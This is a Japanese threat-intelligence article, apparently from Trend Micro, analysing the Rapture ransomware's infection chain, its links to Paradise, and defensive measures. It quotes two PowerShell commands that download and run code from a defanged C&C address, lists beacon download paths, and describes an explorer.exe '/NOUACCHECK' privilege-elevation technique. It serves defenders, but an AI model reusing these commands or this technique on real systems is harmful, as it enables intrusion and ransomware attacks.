ランサムウェア
「Paradise」に類似した性質を持つランサムウェアファミリ「Rapture」について解説
トレンドマイクロでは2023年の3月から4月にかけて、「ミニマリスト」の方針によって攻撃の痕跡を最小限に抑え込むランサムウェア「Rapture」の活動を確認しました。調査の結果、攻撃者が事前準備として行った多くの活動内容に加え、ランサムウェア攻撃を素早く実行に移した際の手口が解明されました。
はじめに
トレンドマイクロでは2023年の3月から4月にかけて、「ミニマリスト」の方針によって攻撃の痕跡を最小限に抑え込むランサムウェア「Rapture」の活動を確認しました。調査の結果、攻撃者が事前準備として行った多くの活動内容に加え、ランサムウェア攻撃を素早く実行に移した際の手口が解明されました。
本ランサムウェアを実行した際のメモリダンプデータを解析したところ、RSA鍵の設定ファイルが発見され、その内容は、ランサムウェア「Paradise」に使用されたものと類似していることが分かりました。ランサムウェア「Rapture」のファイルは、解析の妨害を意図して、商用ツール「Themida」による圧縮がかけられています。また、Raptureを正しく動作させるには、「.NET 4.0のフレームワーク」が必要となります。この点からも、「.NET」の実行ファイルとしてコンパイルされたParadiseとの類似性が示されます。「Rapture」の名前は、こうした「Paradise」との類似性にちなんで付けられたものです。
なお、上述の通りRaptureとParadiseの間には一定の類似性が見られますが、動作自体は異なる点にご留意ください。
探索、偵察、攻撃手順
2023年4月、正規のプロセス内にランサムウェアがインジェクトされた(埋め込まれた)状態で稼働していると見られる事例が、2件確認されました。処理の呼び出し元プロセスまで遡って調査したところ、本ランサムウェアは、「Cobalt Strikeのビーコン」によってメモリ内に読み込まれ、実行されたことが判明しました。また、ランサムウェアの実体が「.log」ファイルとしてフォルダやドライブの配下に作成されるケースも確認されました。
- E:\ITS.log
- C:\[特定のフォルダ]\Aps.log
ランサムウェア「Rapture」は、探索した全ディレクトリ内に、ランサムノート(脅迫状)を下記ファイル名(最初の6文字はランダムに見えるが、実際には固定文字列としてハードコーディングされている)で作成します。
- 7qzxid-README.txt
- qiSgqu-README.txt
また、暗号化済みファイルにも同じ6文字の拡張子を付加します。
- *.7qzxid
- *. qiSgqu
Raptureを正しく動作させるためには、特定のコマンドライン引数「all」を指定(図2参照)する必要があります。当該の引数がRaptureのファイルに引き渡されると、ランサムウェアとしての本処理が開始され、実行状況がコンソール画面に表示されます。
Raptureによるランサムノートの内容を確認すると、別のランサムウェア「Zeppelin」のランサムノートとの間に類似性が見られます(ただし、これ以外に両者の接点はないと考えられる)。さらにランサムノートを詳しく調べたところ、Raptureはすでにかなりの期間に渡って活動を続けていることが分かりました。しかし、初回報告時の検体はまだ見つかっていません。
本ランサムウェアによる感染チェーンの期間は、全体として3日から5日程度(偵察用コマンドの利用が確認された日を起算日とする)であることが、調査によって確認されました。Raptureの運用者は、はじめに下記の活動を行います。これは、攻撃の成功率を高めるためと考えられます。
- ファイアウォールのポリシー設定を検査
- PowerShellのバージョンを確認
- 脆弱なLog4Jアプレットの存在を確認
攻撃者は偵察活動に成功すると、攻撃の第一段階として、Cobalt Strikeを標的システムにインストールするためのPowerShellスクリプトをダウンロードして、これを実行します。
また、攻撃者は標的ネットワークにおけるアクセス権の掌握を試みます。この際、脆弱性のある外部公開されたWebサイトやサーバが利用されると推測されます。これは、初期侵入の手口としてw3wp.exeを介してPowerShellが実行されるためです。
最初のPowerShellの実行インスタンスに対しては、w3wp.exeを介して下記コマンドが使用されます。
/c powershell set-alias -name aspersky -value Invoke-Expression;aspersky(New-Object Net.WebClient).DownloadString(‘[hxxp]://195.123.234[.]101:80/Sharepoint/Pickers.aspx’)
一方、第二の実行インスタンスについては、Windows Management Instrument(WMI)を介して下記コマンドが使用されます。
/c powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('[hxxp]://195.123.234[.]101:80/Microsoft/Online')
Raptureは、高い権限でペイロードを実行するために、独特な手口を使用します。Windowsの新しいバージョンには、explorer.exeが高い権限で起動されることを阻止する以下のタスクがデフォルトで用意されています。
CreateExplorerShellUnelevatedTask
しかし、explorer.exeがコマンドライン引数「/NOUACCHECK」付きで起動された場合、親プロセスの権限がexplorer.exe側に引き継がれます。Raptureの攻撃者は以上の点を踏まえ、不正な処理を既存の「svchost.exe」にインジェクトしました。この結果、親プロセスであるsvchost.exeによって、explorer.exeが上述の引数「/NOUACCHECK」付きで起動されます。当該のexplorer.exeには高い権限が付与されるため、攻撃者はこれを利用することで、第二段階で必要なCobalt Strikeのビーコン用ダウンローダを作成して起動できるようになります。
第二段階のダウンローダは、メイン機能を担うCobalt Strikeビーコンを下記アドレスからダウンロードします。
195.123.234[.]101/DoFor/review/Mcirosoft
上記のコマンドコントロール(C&C:Command and Control)サーバから返却される応答データには、暗号化されたビーコンがJavaScriptに挟まれる形で埋め込まれています。このJavaScriptコード自体に特別な意味はなく、マルウェアとして何らの役割も果たしません。ダウンローダは、JavaScriptコードに挟まれたCobalt Strikeビーコンを復号した上で実行します。
メインである第二段階のビーコンは、先ほどと同じC&Cサーバ内の別フォルダにアクセスし、バックドア用コマンドや各種ペイロードをダウンロードします。
195.123.234[.]101/Make/v8.01/Sharepoint
上記によって返却される応答データにも、先ほどと同様に、JavaScriptの合間に暗号化データが埋め込まれています。暗号化データの復号は、ビーコンが行います。
ビーコンによって復号されたデータを分析したところ、おおまかには下記の構造を持つことが分かりました(ビーコンが不要なデータを除外した後の状態)。
感染システムの大半において、ビーコン自身がランサムウェアとしての処理を実行したことが分かりました。そのため、今回ランサムウェア用ファイルの作成が確認された少数の端末を除き、ランサムウェアのコードがダウンロード後に直接メモリ上で実行されたと考えられます。
追加の調査として、今回のCobalt Strikeビーコンに使用されたウォーターマークを調べたところ、同一のウォーターマークが他の攻撃者によっても使用されていたことが判明しました。この点より、Raptureの運用者は、他の攻撃グループが用いているものと同じ海賊版のWindowsライセンスを利用していると考えられます。
結論
ランサムウェア「Rapture」は巧妙に設計され、Paradiseを始めとする他のランサムウェアファミリとの間にも類似性が見られます。Raptureに組み込まれたツールやリソースの一部は、既製の部品として入手可能なものです。しかし、攻撃者はそれらを的確に使いこなすことで、Raptureのステルス性や解析妨害性能を高めることに成功しました。こうした洗練されたランサムウェアはすでに珍しいものではなく、他の近代的な多くのランサムウェアファミリも含め、今日における数多くの攻撃キャンペーンで使用される傾向にあります。
推奨事項とソリューション
ランサムウェア攻撃から企業や組織のシステムを保護する上では、各種リソースを自動的に割り当てて強固な防御網を構築できるセキュリティフレームワークが有効です。企業や組織では、下記ガイドラインの導入について検討することを推奨します。
- データや資産の棚卸しを行う
- 承認済み、および未承認の機器やソフトウェアを特定、分類する
- イベントやインシデントのログを監視する
- ハードウェアやソフトウェアの設定を適切に管理する
- 管理者権限やアクセス権は、必要な場合にのみ、当該従業員のロールに割り当てる
- ネットワークのポート、プロトコル、サービスを監視する
- 正規なアプリケーションのみを起動できるように、ソフトウェアのホワイトリストを設定する
- データの保護、バックアップ、復旧の仕組みを導入する
- 多要素認証(MFA:Multifactor Authentication)を有効化する
- メール、エンドポイント、Web、ネットワークを含む全レイヤー向けに最新版のセキュリティソリューションを導入する
- システム内に存在する不審なツールなど、攻撃の兆候に警戒する
企業や組織では、多面的またはマルチレイヤーによるアプローチを用いることで、エンドポイントやメール、Web、ネットワークなど、システム侵入に繋がるさまざまな経路を保護できます。不審な挙動や疑わしい要素を発見できるセキュリティソリューションは、ランサムウェアによる脅威から企業のシステムを守ります。
- 「Trend Vision One™」は、多層防御と挙動検知機能を提供し、ランサムウェアがシステムに損害を与える前に、疑わしい挙動やツールを早期にブロックすることを可能とします。
- 「Trend Micro Cloud One™ Workload Security」は、脆弱性を不正利用する既知及び未知の脅威からシステムを保護します。このような保護の実現には、仮想パッチや機械学習等の技術が用いられています。
- 「Trend Micro™ Deep Discovery™ Email Inspector」は、カスタムサンドボックスや高度な解析技術を用いて、ランサムウェアの侵入口となるフィッシングメールを含む不正なメールを効果的にブロックします。
- 「Trend Micro Apex One™」は、ファイルレス攻撃やランサムウェア等、より高次元の脅威に対し、次世代レベルの自動脅威検知機能及び防御を提供し、確実にエンドポイントを保護します。
侵入の痕跡(Indicators of Compromise、IoC)
侵入の痕跡(IoC)はこちらで確認してください。
参考記事:
Rapture, a Ransomware Family With Similarities to Paradise
By: Don Ovid Ladores, Ian Kenefick, Earle Maui Earnshaw
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)